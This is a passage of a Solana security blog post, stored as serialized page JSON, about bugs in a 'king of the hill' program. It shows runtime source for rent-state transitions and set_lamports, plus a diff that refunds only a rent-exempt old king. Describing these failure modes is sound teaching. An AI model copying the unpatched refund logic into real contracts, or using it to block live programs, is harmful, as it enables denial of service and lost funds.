king\n",{"type":23,"tag":141,"props":70575,"children":70576},{"class":143,"line":22324},[70577,70581,70585,70589,70593,70597,70601,70606,70610,70614,70618,70622,70626,70631,70635,70640],{"type":23,"tag":141,"props":70578,"children":70579},{"style":750},[70580],{"type":29,"value":24870},{"type":23,"tag":141,"props":70582,"children":70583},{"style":160},[70584],{"type":29,"value":322},{"type":23,"tag":141,"props":70586,"children":70587},{"style":154},[70588],{"type":29,"value":13351},{"type":23,"tag":141,"props":70590,"children":70591},{"style":160},[70592],{"type":29,"value":322},{"type":23,"tag":141,"props":70594,"children":70595},{"style":154},[70596],{"type":29,"value":70234},{"type":23,"tag":141,"props":70598,"children":70599},{"style":160},[70600],{"type":29,"value":322},{"type":23,"tag":141,"props":70602,"children":70603},{"style":154},[70604],{"type":29,"value":70605},"king ",{"type":23,"tag":141,"props":70607,"children":70608},{"style":160},[70609],{"type":29,"value":1377},{"type":23,"tag":141,"props":70611,"children":70612},{"style":750},[70613],{"type":29,"value":24527},{"type":23,"tag":141,"props":70615,"children":70616},{"style":160},[70617],{"type":29,"value":322},{"type":23,"tag":141,"props":70619,"children":70620},{"style":154},[70621],{"type":29,"value":13351},{"type":23,"tag":141,"props":70623,"children":70624},{"style":160},[70625],{"type":29,"value":322},{"type":23,"tag":141,"props":70627,"children":70628},{"style":154},[70629],{"type":29,"value":70630},"new_king",{"type":23,"tag":141,"props":70632,"children":70633},{"style":160},[70634],{"type":29,"value":322},{"type":23,"tag":141,"props":70636,"children":70637},{"style":184},[70638],{"type":29,"value":70639},"key",{"type":23,"tag":141,"props":70641,"children":70642},{"style":154},[70643],{"type":29,"value":1305},{"type":23,"tag":141,"props":70645,"children":70646},{"class":143,"line":22332},[70647,70651,70655,70659,70663,70667,70671,70675,70679,70684],{"type":23,"tag":141,"props":70648,"children":70649},{"style":750},[70650],{"type":29,"value":24870},{"type":23,"tag":141,"props":70652,"children":70653},{"style":160},[70654],{"type":29,"value":322},{"type":23,"tag":141,"props":70656,"children":70657},{"style":154},[70658],{"type":29,"value":13351},{"type":23,"tag":141,"props":70660,"children":70661},{"style":160},[70662],{"type":29,"value":322},{"type":23,"tag":141,"props":70664,"children":70665},{"style":154},[70666],{"type":29,"value":70234},{"type":23,"tag":141,"props":70668,"children":70669},{"style":160},[70670],{"type":29,"value":322},{"type":23,"tag":141,"props":70672,"children":70673},{"style":154},[70674],{"type":29,"value":70243},{"type":23,"tag":141,"props":70676,"children":70677},{"style":160},[70678],{"type":29,"value":1377},{"type":23,"tag":141,"props":70680,"children":70681},{"style":750},[70682],{"type":29,"value":70683}," bid_amount",{"type":23,"tag":141,"props":70685,"children":70686},{"style":154},[70687],{"type":29,"value":1684},{"type":23,"tag":141,"props":70689,"children":70690},{"class":143,"line":22341},[70691,70695,70699,70703,70707,70711,70715,70720,70724,70729,70733,70737,70741,70745,70750,70754,70758],{"type":23,"tag":141,"props":70692,"children":70693},{"style":750},[70694],{"type":29,"value":24870},{"type":23,"tag":141,"props":70696,"children":70697},{"style":160},[70698],{"type":29,"value":322},{"type":23,"tag":141,"props":70700,"children":70701},{"style":154},[70702],{"type":29,"value":13351},{"type":23,"tag":141,"props":70704,"children":70705},{"style":160},[70706],{"type":29,"value":322},{"type":23,"tag":141,"props":70708,"children":70709},{"style":154},[70710],{"type":29,"value":70234},{"type":23,"tag":141,"props":70712,"children":70713},{"style":160},[70714],{"type":29,"value":322},{"type":23,"tag":141,"props":70716,"children":70717},{"style":154},[70718],{"type":29,"value":70719},"last_time ",{"type":23,"tag":141,"props":70721,"children":70722},{"style":160},[70723],{"type":29,"value":1377},{"type":23,"tag":141,"props":70725,"children":70726},{"style":725},[70727],{"type":29,"value":70728}," Clock",{"type":23,"tag":141,"props":70730,"children":70731},{"style":160},[70732],{"type":29,"value":2141},{"type":23,"tag":141,"props":70734,"children":70735},{"style":184},[70736],{"type":29,"value":15028},{"type":23,"tag":141,"props":70738,"children":70739},{"style":154},[70740],{"type":29,"value":12557},{"type":23,"tag":141,"props":70742,"children":70743},{"style":160},[70744],{"type":29,"value":1793},{"type":23,"tag":141,"props":70746,"children":70747},{"style":154},[70748],{"type":29,"value":70749},"unix_timestamp ",{"type":23,"tag":141,"props":70751,"children":70752},{"style":449},[70753],{"type":29,"value":7518},{"type":23,"tag":141,"props":70755,"children":70756},{"style":725},[70757],{"type":29,"value":4534},{"type":23,"tag":141,"props":70759,"children":70760},{"style":154},[70761],{"type":29,"value":1684},{"type":23,"tag":141,"props":70763,"children":70764},{"class":143,"line":22417},[70765],{"type":23,"tag":141,"props":70766,"children":70767},{"emptyLinePlaceholder":15},[70768],{"type":29,"value":719},{"type":23,"tag":141,"props":70770,"children":70771},{"class":143,"line":22450},[70772,70776],{"type":23,"tag":141,"props":70773,"children":70774},{"style":725},[70775],{"type":29,"value":13488},{"type":23,"tag":141,"props":70777,"children":70778},{"style":154},[70779],{"type":29,"value":13014},{"type":23,"tag":141,"props":70781,"children":70782},{"class":143,"line":22458},[70783],{"type":23,"tag":141,"props":70784,"children":70785},{"style":154},[70786],{"type":29,"value":299},{"type":23,"tag":141,"props":70788,"children":70789},{"class":143,"line":22466},[70790],{"type":23,"tag":141,"props":70791,"children":70792},{"style":154},[70793],{"type":29,"value":2573},{"type":23,"tag":32,"props":70795,"children":70796},{},[70797],{"type":29,"value":70798},"Note this comment:",{"type":23,"tag":355,"props":70800,"children":70801},{},[70802],{"type":23,"tag":32,"props":70803,"children":70804},{},[70805],{"type":29,"value":70806},"any writable account is allowed as a new king.",{"type":23,"tag":32,"props":70808,"children":70809},{},[70810],{"type":29,"value":70811},"...Is our assumption correct?",{"type":23,"tag":24,"props":70813,"children":70815},{"id":70814},"the-bugs-lurking-beneath",[70816],{"type":29,"value":70817},"The Bugs Lurking Beneath",{"type":23,"tag":8287,"props":70819,"children":70821},{"id":70820},"bug-1-the-rent-exemption-trap",[70822],{"type":29,"value":70823},"Bug 1: The Rent-Exemption Trap",{"type":23,"tag":32,"props":70825,"children":70826},{},[70827,70829,70834],{"type":29,"value":70828},"On Solana, all accounts must maintain a ",{"type":23,"tag":3998,"props":70830,"children":70831},{},[70832],{"type":29,"value":70833},"minimum balance",{"type":29,"value":70835}," of lamports to remain rent-exempt. Specifically, an account can be in one of two states:",{"type":23,"tag":15362,"props":70837,"children":70838},{},[70839,70854],{"type":23,"tag":120,"props":70840,"children":70841},{},[70842,70847,70848],{"type":23,"tag":3998,"props":70843,"children":70844},{},[70845],{"type":29,"value":70846},"Uninitialized",{"type":29,"value":14008},{"type":23,"tag":38,"props":70849,"children":70851},{"className":70850},[],[70852],{"type":29,"value":70853},"lamports = 0",{"type":23,"tag":120,"props":70855,"children":70856},{},[70857,70862,70863],{"type":23,"tag":3998,"props":70858,"children":70859},{},[70860],{"type":29,"value":70861},"Initialized",{"type":29,"value":14008},{"type":23,"tag":38,"props":70864,"children":70866},{"className":70865},[],[70867],{"type":29,"value":70868},"lamports >= rent-exempt threshold",{"type":23,"tag":32,"props":70870,"children":70871},{},[70872,70874,70879],{"type":29,"value":70873},"This rent model exists to prevent low-cost DoS attacks on validators. The key idea is that even an account with no data (i.e., zero-length data buffer) still consumes on-chain resources; specifically, ",{"type":23,"tag":3998,"props":70875,"children":70876},{},[70877],{"type":29,"value":70878},"account metadata",{"type":29,"value":70880}," like its public key, owner, or lamport balance. That metadata must be stored persistently by validators, and that storage isn't free.",{"type":23,"tag":32,"props":70882,"children":70883},{},[70884,70886,70892],{"type":29,"value":70885},"So “persistent state” on Solana doesn’t just mean your program's data — it includes the base account structure itself. Even accounts with ",{"type":23,"tag":38,"props":70887,"children":70889},{"className":70888},[],[70890],{"type":29,"value":70891},"data.len() == 0",{"type":29,"value":70893}," must meet a minimum rent threshold to remain alive and avoid garbage collection by the runtime.",{"type":23,"tag":32,"props":70895,"children":70896},{},[70897,70899,70905],{"type":29,"value":70898},"This is enforced at the runtime level, and the relevant logic can be found ",{"type":23,"tag":55,"props":70900,"children":70903},{"href":70901,"rel":70902},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/svm-rent-collector/src/svm_rent_collector.rs#L117-L136",[59],[70904],{"type":29,"value":46062},{"type":29,"value":322},{"type":23,"tag":131,"props":70907,"children":70909},{"className":1639,"code":70908,"language":1638,"meta":7,"style":7}," fn transition_allowed(&self, pre_rent_state: &RentState, post_rent_state: &RentState) -> bool {\n match post_rent_state {\n RentState::Uninitialized | RentState::RentExempt => true,\n RentState::RentPaying {\n data_size: post_data_size,\n lamports: post_lamports,\n } => {\n match pre_rent_state {\n RentState::Uninitialized | RentState::RentExempt => false,\n RentState::RentPaying {\n data_size: pre_data_size,\n lamports: pre_lamports,\n } => {\n // Cannot remain RentPaying if resized or credited.\n post_data_size == pre_data_size && post_lamports \u003C= pre_lamports\n }\n }\n }\n }\n }\n",[70910],{"type":23,"tag":38,"props":70911,"children":70912},{"__ignoreMap":7},[70913,70997,71014,71060,71080,71101,71122,71137,71154,71198,71217,71238,71259,71275,71283,71316,71323,71330,71337,71344],{"type":23,"tag":141,"props":70914,"children":70915},{"class":143,"line":144},[70916,70921,70926,70930,70934,70938,70942,70947,70951,70955,70960,70964,70969,70973,70977,70981,70985,70989,70993],{"type":23,"tag":141,"props":70917,"children":70918},{"style":449},[70919],{"type":29,"value":70920}," fn",{"type":23,"tag":141,"props":70922,"children":70923},{"style":184},[70924],{"type":29,"value":70925}," transition_allowed",{"type":23,"tag":141,"props":70927,"children":70928},{"style":154},[70929],{"type":29,"value":192},{"type":23,"tag":141,"props":70931,"children":70932},{"style":160},[70933],{"type":29,"value":1770},{"type":23,"tag":141,"props":70935,"children":70936},{"style":449},[70937],{"type":29,"value":12391},{"type":23,"tag":141,"props":70939,"children":70940},{"style":154},[70941],{"type":29,"value":480},{"type":23,"tag":141,"props":70943,"children":70944},{"style":750},[70945],{"type":29,"value":70946},"pre_rent_state",{"type":23,"tag":141,"props":70948,"children":70949},{"style":160},[70950],{"type":29,"value":114},{"type":23,"tag":141,"props":70952,"children":70953},{"style":160},[70954],{"type":29,"value":5815},{"type":23,"tag":141,"props":70956,"children":70957},{"style":725},[70958],{"type":29,"value":70959},"RentState",{"type":23,"tag":141,"props":70961,"children":70962},{"style":154},[70963],{"type":29,"value":480},{"type":23,"tag":141,"props":70965,"children":70966},{"style":750},[70967],{"type":29,"value":70968},"post_rent_state",{"type":23,"tag":141,"props":70970,"children":70971},{"style":160},[70972],{"type":29,"value":114},{"type":23,"tag":141,"props":70974,"children":70975},{"style":160},[70976],{"type":29,"value":5815},{"type":23,"tag":141,"props":70978,"children":70979},{"style":725},[70980],{"type":29,"value":70959},{"type":23,"tag":141,"props":70982,"children":70983},{"style":154},[70984],{"type":29,"value":1748},{"type":23,"tag":141,"props":70986,"children":70987},{"style":160},[70988],{"type":29,"value":12435},{"type":23,"tag":141,"props":70990,"children":70991},{"style":725},[70992],{"type":29,"value":10730},{"type":23,"tag":141,"props":70994,"children":70995},{"style":154},[70996],{"type":29,"value":1951},{"type":23,"tag":141,"props":70998,"children":70999},{"class":143,"line":180},[71000,71005,71010],{"type":23,"tag":141,"props":71001,"children":71002},{"style":148},[71003],{"type":29,"value":71004}," match",{"type":23,"tag":141,"props":71006,"children":71007},{"style":750},[71008],{"type":29,"value":71009}," post_rent_state",{"type":23,"tag":141,"props":71011,"children":71012},{"style":154},[71013],{"type":29,"value":1951},{"type":23,"tag":141,"props":71015,"children":71016},{"class":143,"line":205},[71017,71022,71026,71030,71034,71039,71043,71048,71052,71056],{"type":23,"tag":141,"props":71018,"children":71019},{"style":725},[71020],{"type":29,"value":71021}," RentState",{"type":23,"tag":141,"props":71023,"children":71024},{"style":160},[71025],{"type":29,"value":2141},{"type":23,"tag":141,"props":71027,"children":71028},{"style":725},[71029],{"type":29,"value":70846},{"type":23,"tag":141,"props":71031,"children":71032},{"style":160},[71033],{"type":29,"value":2946},{"type":23,"tag":141,"props":71035,"children":71036},{"style":725},[71037],{"type":29,"value":71038}," RentState",{"type":23,"tag":141,"props":71040,"children":71041},{"style":160},[71042],{"type":29,"value":2141},{"type":23,"tag":141,"props":71044,"children":71045},{"style":725},[71046],{"type":29,"value":71047},"RentExempt",{"type":23,"tag":141,"props":71049,"children":71050},{"style":160},[71051],{"type":29,"value":26437},{"type":23,"tag":141,"props":71053,"children":71054},{"style":449},[71055],{"type":29,"value":11148},{"type":23,"tag":141,"props":71057,"children":71058},{"style":154},[71059],{"type":29,"value":2168},{"type":23,"tag":141,"props":71061,"children":71062},{"class":143,"line":218},[71063,71067,71071,71076],{"type":23,"tag":141,"props":71064,"children":71065},{"style":725},[71066],{"type":29,"value":71021},{"type":23,"tag":141,"props":71068,"children":71069},{"style":160},[71070],{"type":29,"value":2141},{"type":23,"tag":141,"props":71072,"children":71073},{"style":725},[71074],{"type":29,"value":71075},"RentPaying",{"type":23,"tag":141,"props":71077,"children":71078},{"style":154},[71079],{"type":29,"value":1951},{"type":23,"tag":141,"props":71081,"children":71082},{"class":143,"line":227},[71083,71088,71092,71097],{"type":23,"tag":141,"props":71084,"children":71085},{"style":750},[71086],{"type":29,"value":71087}," data_size",{"type":23,"tag":141,"props":71089,"children":71090},{"style":160},[71091],{"type":29,"value":114},{"type":23,"tag":141,"props":71093,"children":71094},{"style":750},[71095],{"type":29,"value":71096}," post_data_size",{"type":23,"tag":141,"props":71098,"children":71099},{"style":154},[71100],{"type":29,"value":2168},{"type":23,"tag":141,"props":71102,"children":71103},{"class":143,"line":241},[71104,71109,71113,71118],{"type":23,"tag":141,"props":71105,"children":71106},{"style":750},[71107],{"type":29,"value":71108}," lamports",{"type":23,"tag":141,"props":71110,"children":71111},{"style":160},[71112],{"type":29,"value":114},{"type":23,"tag":141,"props":71114,"children":71115},{"style":750},[71116],{"type":29,"value":71117}," post_lamports",{"type":23,"tag":141,"props":71119,"children":71120},{"style":154},[71121],{"type":29,"value":2168},{"type":23,"tag":141,"props":71123,"children":71124},{"class":143,"line":262},[71125,71129,71133],{"type":23,"tag":141,"props":71126,"children":71127},{"style":154},[71128],{"type":29,"value":69077},{"type":23,"tag":141,"props":71130,"children":71131},{"style":160},[71132],{"type":29,"value":13498},{"type":23,"tag":141,"props":71134,"children":71135},{"style":154},[71136],{"type":29,"value":1951},{"type":23,"tag":141,"props":71138,"children":71139},{"class":143,"line":271},[71140,71145,71150],{"type":23,"tag":141,"props":71141,"children":71142},{"style":148},[71143],{"type":29,"value":71144}," match",{"type":23,"tag":141,"props":71146,"children":71147},{"style":750},[71148],{"type":29,"value":71149}," pre_rent_state",{"type":23,"tag":141,"props":71151,"children":71152},{"style":154},[71153],{"type":29,"value":1951},{"type":23,"tag":141,"props":71155,"children":71156},{"class":143,"line":293},[71157,71162,71166,71170,71174,71178,71182,71186,71190,71194],{"type":23,"tag":141,"props":71158,"children":71159},{"style":725},[71160],{"type":29,"value":71161}," RentState",{"type":23,"tag":141,"props":71163,"children":71164},{"style":160},[71165],{"type":29,"value":2141},{"type":23,"tag":141,"props":71167,"children":71168},{"style":725},[71169],{"type":29,"value":70846},{"type":23,"tag":141,"props":71171,"children":71172},{"style":160},[71173],{"type":29,"value":2946},{"type":23,"tag":141,"props":71175,"children":71176},{"style":725},[71177],{"type":29,"value":71038},{"type":23,"tag":141,"props":71179,"children":71180},{"style":160},[71181],{"type":29,"value":2141},{"type":23,"tag":141,"props":71183,"children":71184},{"style":725},[71185],{"type":29,"value":71047},{"type":23,"tag":141,"props":71187,"children":71188},{"style":160},[71189],{"type":29,"value":26437},{"type":23,"tag":141,"props":71191,"children":71192},{"style":449},[71193],{"type":29,"value":7735},{"type":23,"tag":141,"props":71195,"children":71196},{"style":154},[71197],{"type":29,"value":2168},{"type":23,"tag":141,"props":71199,"children":71200},{"class":143,"line":801},[71201,71205,71209,71213],{"type":23,"tag":141,"props":71202,"children":71203},{"style":725},[71204],{"type":29,"value":71161},{"type":23,"tag":141,"props":71206,"children":71207},{"style":160},[71208],{"type":29,"value":2141},{"type":23,"tag":141,"props":71210,"children":71211},{"style":725},[71212],{"type":29,"value":71075},{"type":23,"tag":141,"props":71214,"children":71215},{"style":154},[71216],{"type":29,"value":1951},{"type":23,"tag":141,"props":71218,"children":71219},{"class":143,"line":810},[71220,71225,71229,71234],{"type":23,"tag":141,"props":71221,"children":71222},{"style":750},[71223],{"type":29,"value":71224}," data_size",{"type":23,"tag":141,"props":71226,"children":71227},{"style":160},[71228],{"type":29,"value":114},{"type":23,"tag":141,"props":71230,"children":71231},{"style":750},[71232],{"type":29,"value":71233}," pre_data_size",{"type":23,"tag":141,"props":71235,"children":71236},{"style":154},[71237],{"type":29,"value":2168},{"type":23,"tag":141,"props":71239,"children":71240},{"class":143,"line":824},[71241,71246,71250,71255],{"type":23,"tag":141,"props":71242,"children":71243},{"style":750},[71244],{"type":29,"value":71245}," lamports",{"type":23,"tag":141,"props":71247,"children":71248},{"style":160},[71249],{"type":29,"value":114},{"type":23,"tag":141,"props":71251,"children":71252},{"style":750},[71253],{"type":29,"value":71254}," pre_lamports",{"type":23,"tag":141,"props":71256,"children":71257},{"style":154},[71258],{"type":29,"value":2168},{"type":23,"tag":141,"props":71260,"children":71261},{"class":143,"line":839},[71262,71267,71271],{"type":23,"tag":141,"props":71263,"children":71264},{"style":154},[71265],{"type":29,"value":71266}," } ",{"type":23,"tag":141,"props":71268,"children":71269},{"style":160},[71270],{"type":29,"value":13498},{"type":23,"tag":141,"props":71272,"children":71273},{"style":154},[71274],{"type":29,"value":1951},{"type":23,"tag":141,"props":71276,"children":71277},{"class":143,"line":848},[71278],{"type":23,"tag":141,"props":71279,"children":71280},{"style":443},[71281],{"type":29,"value":71282}," // Cannot remain RentPaying if resized or credited.\n",{"type":23,"tag":141,"props":71284,"children":71285},{"class":143,"line":2304},[71286,71291,71295,71299,71303,71307,71311],{"type":23,"tag":141,"props":71287,"children":71288},{"style":750},[71289],{"type":29,"value":71290}," post_data_size",{"type":23,"tag":141,"props":71292,"children":71293},{"style":160},[71294],{"type":29,"value":1942},{"type":23,"tag":141,"props":71296,"children":71297},{"style":750},[71298],{"type":29,"value":71233},{"type":23,"tag":141,"props":71300,"children":71301},{"style":160},[71302],{"type":29,"value":1253},{"type":23,"tag":141,"props":71304,"children":71305},{"style":750},[71306],{"type":29,"value":71117},{"type":23,"tag":141,"props":71308,"children":71309},{"style":160},[71310],{"type":29,"value":6872},{"type":23,"tag":141,"props":71312,"children":71313},{"style":750},[71314],{"type":29,"value":71315}," pre_lamports\n",{"type":23,"tag":141,"props":71317,"children":71318},{"class":143,"line":2313},[71319],{"type":23,"tag":141,"props":71320,"children":71321},{"style":154},[71322],{"type":29,"value":69546},{"type":23,"tag":141,"props":71324,"children":71325},{"class":143,"line":2335},[71326],{"type":23,"tag":141,"props":71327,"children":71328},{"style":154},[71329],{"type":29,"value":69554},{"type":23,"tag":141,"props":71331,"children":71332},{"class":143,"line":2343},[71333],{"type":23,"tag":141,"props":71334,"children":71335},{"style":154},[71336],{"type":29,"value":57365},{"type":23,"tag":141,"props":71338,"children":71339},{"class":143,"line":2352},[71340],{"type":23,"tag":141,"props":71341,"children":71342},{"style":154},[71343],{"type":29,"value":2008},{"type":23,"tag":141,"props":71345,"children":71346},{"class":143,"line":2421},[71347],{"type":23,"tag":141,"props":71348,"children":71349},{"style":154},[71350],{"type":29,"value":299},{"type":23,"tag":32,"props":71352,"children":71353},{},[71354],{"type":29,"value":71355},"You can check the rent-exemption threshold for a zero-data account with the CLI:",{"type":23,"tag":131,"props":71357,"children":71359},{"className":2920,"code":71358,"language":2919,"meta":7,"style":7},"solana rent 0\nRent-exempt minimum: 0.00089088 SOL\n",[71360],{"type":23,"tag":38,"props":71361,"children":71362},{"__ignoreMap":7},[71363,71379],{"type":23,"tag":141,"props":71364,"children":71365},{"class":143,"line":144},[71366,71370,71375],{"type":23,"tag":141,"props":71367,"children":71368},{"style":184},[71369],{"type":29,"value":1539},{"type":23,"tag":141,"props":71371,"children":71372},{"style":828},[71373],{"type":29,"value":71374}," rent",{"type":23,"tag":141,"props":71376,"children":71377},{"style":472},[71378],{"type":29,"value":22962},{"type":23,"tag":141,"props":71380,"children":71381},{"class":143,"line":180},[71382,71387,71392,71397],{"type":23,"tag":141,"props":71383,"children":71384},{"style":184},[71385],{"type":29,"value":71386},"Rent-exempt",{"type":23,"tag":141,"props":71388,"children":71389},{"style":828},[71390],{"type":29,"value":71391}," minimum:",{"type":23,"tag":141,"props":71393,"children":71394},{"style":472},[71395],{"type":29,"value":71396}," 0.00089088",{"type":23,"tag":141,"props":71398,"children":71399},{"style":828},[71400],{"type":29,"value":71401}," SOL\n",{"type":23,"tag":17563,"props":71403,"children":71405},{"id":71404},"fix-1-only-reimburse-if-rent-exempt",[71406],{"type":29,"value":71407},"Fix 1: Only Reimburse if Rent-Exempt",{"type":23,"tag":32,"props":71409,"children":71410},{},[71411],{"type":29,"value":71412},"We don't want to donate anything to an unfair king! So let's update our program to reimburse only if the old king will be rent-exempt after the transfer:",{"type":23,"tag":131,"props":71414,"children":71416},{"className":38832,"code":71415,"language":38834,"meta":7,"style":7},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n+let rent = Rent::get()?;\n+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n transfer_from_pda(\n &ctx.accounts.throne.to_account_info(),\n &ctx.accounts.old_king,\n to_reimburse,\n )?;\n+}\n",[71417],{"type":23,"tag":38,"props":71418,"children":71419},{"__ignoreMap":7},[71420,71428,71436,71444,71452,71460,71468,71476,71484,71492],{"type":23,"tag":141,"props":71421,"children":71422},{"class":143,"line":144},[71423],{"type":23,"tag":141,"props":71424,"children":71425},{"style":154},[71426],{"type":29,"value":71427},"let to_reimburse = (ctx.accounts.throne.last_bid_amount * 9500) / 10000;\n",{"type":23,"tag":141,"props":71429,"children":71430},{"class":143,"line":180},[71431],{"type":23,"tag":141,"props":71432,"children":71433},{"style":472},[71434],{"type":29,"value":71435},"+let rent = Rent::get()?;\n",{"type":23,"tag":141,"props":71437,"children":71438},{"class":143,"line":205},[71439],{"type":23,"tag":141,"props":71440,"children":71441},{"style":472},[71442],{"type":29,"value":71443},"+let balance_after = ctx.accounts.old_king.lamports() + to_reimburse;\n",{"type":23,"tag":141,"props":71445,"children":71446},{"class":143,"line":218},[71447],{"type":23,"tag":141,"props":71448,"children":71449},{"style":472},[71450],{"type":29,"value":71451},"+if rent.is_exempt(balance_after, ctx.accounts.old_king.data_len()) {\n",{"type":23,"tag":141,"props":71453,"children":71454},{"class":143,"line":227},[71455],{"type":23,"tag":141,"props":71456,"children":71457},{"style":154},[71458],{"type":29,"value":71459}," transfer_from_pda(\n",{"type":23,"tag":141,"props":71461,"children":71462},{"class":143,"line":241},[71463],{"type":23,"tag":141,"props":71464,"children":71465},{"style":154},[71466],{"type":29,"value":71467}," &ctx.accounts.throne.to_account_info(),\n",{"type":23,"tag":141,"props":71469,"children":71470},{"class":143,"line":262},[71471],{"type":23,"tag":141,"props":71472,"children":71473},{"style":154},[71474],{"type":29,"value":71475}," &ctx.accounts.old_king,\n",{"type":23,"tag":141,"props":71477,"children":71478},{"class":143,"line":271},[71479],{"type":23,"tag":141,"props":71480,"children":71481},{"style":154},[71482],{"type":29,"value":71483}," to_reimburse,\n",{"type":23,"tag":141,"props":71485,"children":71486},{"class":143,"line":293},[71487],{"type":23,"tag":141,"props":71488,"children":71489},{"style":154},[71490],{"type":29,"value":71491}," )?;\n",{"type":23,"tag":141,"props":71493,"children":71494},{"class":143,"line":801},[71495],{"type":23,"tag":141,"props":71496,"children":71497},{"style":472},[71498],{"type":29,"value":71499},"+}\n",{"type":23,"tag":32,"props":71501,"children":71502},{},[71503],{"type":29,"value":71504},"But is rent-exemption the only thing that can cause a lamport transfer to fail? Not quite.",{"type":23,"tag":8287,"props":71506,"children":71508},{"id":71507},"bug-2-writable-but-untouchable-set_lamports-fails",[71509,71511,71517],{"type":29,"value":71510},"Bug 2: Writable but Untouchable — ",{"type":23,"tag":38,"props":71512,"children":71514},{"className":71513},[],[71515],{"type":29,"value":71516},"set_lamports",{"type":29,"value":71518}," Fails",{"type":23,"tag":32,"props":71520,"children":71521},{},[71522,71524,71531],{"type":29,"value":71523},"Let's look at ",{"type":23,"tag":55,"props":71525,"children":71528},{"href":71526,"rel":71527},"https://github.com/anza-xyz/agave/blob/f389dd23067e37d756c3f9d2f3d50e339dad7053/transaction-context/src/lib.rs#L863-L885",[59],[71529],{"type":29,"value":71530},"BorrowedAccount::set_lamports",{"type":29,"value":322},{"type":23,"tag":131,"props":71533,"children":71535},{"className":1639,"code":71534,"language":1638,"meta":7,"style":7},"/// Overwrites the number of lamports of this account (transaction wide)\n#[cfg(not(target_os = \"solana\"))]\npub fn set_lamports(&mut self, lamports: u64) -> Result\u003C(), InstructionError> {\n // An account not owned by the program cannot have its balance decrease\n if !self.is_owned_by_current_program() && lamports \u003C self.get_lamports() {\n return Err(InstructionError::ExternalAccountLamportSpend);\n }\n // The balance of read-only may not change\n if !self.is_writable() {\n return Err(InstructionError::ReadonlyLamportChange);\n }\n // The balance of executable accounts may not change\n if self.is_executable_internal() {\n return Err(InstructionError::ExecutableLamportChange);\n }\n // don't touch the account if the lamports do not change\n if self.get_lamports() == lamports {\n return Ok(());\n }\n self.touch()?;\n self.account.set_lamports(lamports);\n Ok(())\n}\n\n/// Feature gating to remove `is_executable` flag related checks\n#[cfg(not(target_os = \"solana\"))]\n#[inline]\nfn is_executable_internal(&self) -> bool {\n !self\n .transaction_context\n .remove_accounts_executable_flag_checks\n && self.account.executable()\n}\n\n",[71536],{"type":23,"tag":38,"props":71537,"children":71538},{"__ignoreMap":7},[71539,71547,71568,71640,71648,71707,71739,71746,71754,71782,71814,71821,71829,71853,71885,71892,71900,71935,71951,71958,71986,72021,72032,72039,72046,72054,72073,72081,72121,72133,72145,72157,72188],{"type":23,"tag":141,"props":71540,"children":71541},{"class":143,"line":144},[71542],{"type":23,"tag":141,"props":71543,"children":71544},{"style":443},[71545],{"type":29,"value":71546},"/// Overwrites the number of lamports of this account (transaction wide)\n",{"type":23,"tag":141,"props":71548,"children":71549},{"class":143,"line":180},[71550,71555,71559,71564],{"type":23,"tag":141,"props":71551,"children":71552},{"style":154},[71553],{"type":29,"value":71554},"#[cfg(not(target_os ",{"type":23,"tag":141,"props":71556,"children":71557},{"style":160},[71558],{"type":29,"value":1377},{"type":23,"tag":141,"props":71560,"children":71561},{"style":828},[71562],{"type":29,"value":71563}," \"solana\"",{"type":23,"tag":141,"props":71565,"children":71566},{"style":154},[71567],{"type":29,"value":19280},{"type":23,"tag":141,"props":71569,"children":71570},{"class":143,"line":205},[71571,71575,71579,71584,71588,71592,71596,71600,71604,71608,71612,71616,71620,71624,71628,71632,71636],{"type":23,"tag":141,"props":71572,"children":71573},{"style":449},[71574],{"type":29,"value":12368},{"type":23,"tag":141,"props":71576,"children":71577},{"style":449},[71578],{"type":29,"value":12373},{"type":23,"tag":141,"props":71580,"children":71581},{"style":184},[71582],{"type":29,"value":71583}," set_lamports",{"type":23,"tag":141,"props":71585,"children":71586},{"style":154},[71587],{"type":29,"value":192},{"type":23,"tag":141,"props":71589,"children":71590},{"style":160},[71591],{"type":29,"value":1770},{"type":23,"tag":141,"props":71593,"children":71594},{"style":449},[71595],{"type":29,"value":2389},{"type":23,"tag":141,"props":71597,"children":71598},{"style":449},[71599],{"type":29,"value":12475},{"type":23,"tag":141,"props":71601,"children":71602},{"style":154},[71603],{"type":29,"value":480},{"type":23,"tag":141,"props":71605,"children":71606},{"style":750},[71607],{"type":29,"value":14187},{"type":23,"tag":141,"props":71609,"children":71610},{"style":160},[71611],{"type":29,"value":114},{"type":23,"tag":141,"props":71613,"children":71614},{"style":725},[71615],{"type":29,"value":4534},{"type":23,"tag":141,"props":71617,"children":71618},{"style":154},[71619],{"type":29,"value":1748},{"type":23,"tag":141,"props":71621,"children":71622},{"style":160},[71623],{"type":29,"value":12435},{"type":23,"tag":141,"props":71625,"children":71626},{"style":725},[71627],{"type":29,"value":12440},{"type":23,"tag":141,"props":71629,"children":71630},{"style":154},[71631],{"type":29,"value":12445},{"type":23,"tag":141,"props":71633,"children":71634},{"style":725},[71635],{"type":29,"value":14434},{"type":23,"tag":141,"props":71637,"children":71638},{"style":154},[71639],{"type":29,"value":5955},{"type":23,"tag":141,"props":71641,"children":71642},{"class":143,"line":218},[71643],{"type":23,"tag":141,"props":71644,"children":71645},{"style":443},[71646],{"type":29,"value":71647}," // An account not owned by the program cannot have its balance decrease\n",{"type":23,"tag":141,"props":71649,"children":71650},{"class":143,"line":227},[71651,71655,71659,71663,71667,71672,71676,71681,71686,71690,71694,71698,71703],{"type":23,"tag":141,"props":71652,"children":71653},{"style":148},[71654],{"type":29,"value":151},{"type":23,"tag":141,"props":71656,"children":71657},{"style":160},[71658],{"type":29,"value":1258},{"type":23,"tag":141,"props":71660,"children":71661},{"style":449},[71662],{"type":29,"value":12391},{"type":23,"tag":141,"props":71664,"children":71665},{"style":160},[71666],{"type":29,"value":322},{"type":23,"tag":141,"props":71668,"children":71669},{"style":184},[71670],{"type":29,"value":71671},"is_owned_by_current_program",{"type":23,"tag":141,"props":71673,"children":71674},{"style":154},[71675],{"type":29,"value":12720},{"type":23,"tag":141,"props":71677,"children":71678},{"style":160},[71679],{"type":29,"value":71680},"&&",{"type":23,"tag":141,"props":71682,"children":71683},{"style":750},[71684],{"type":29,"value":71685}," 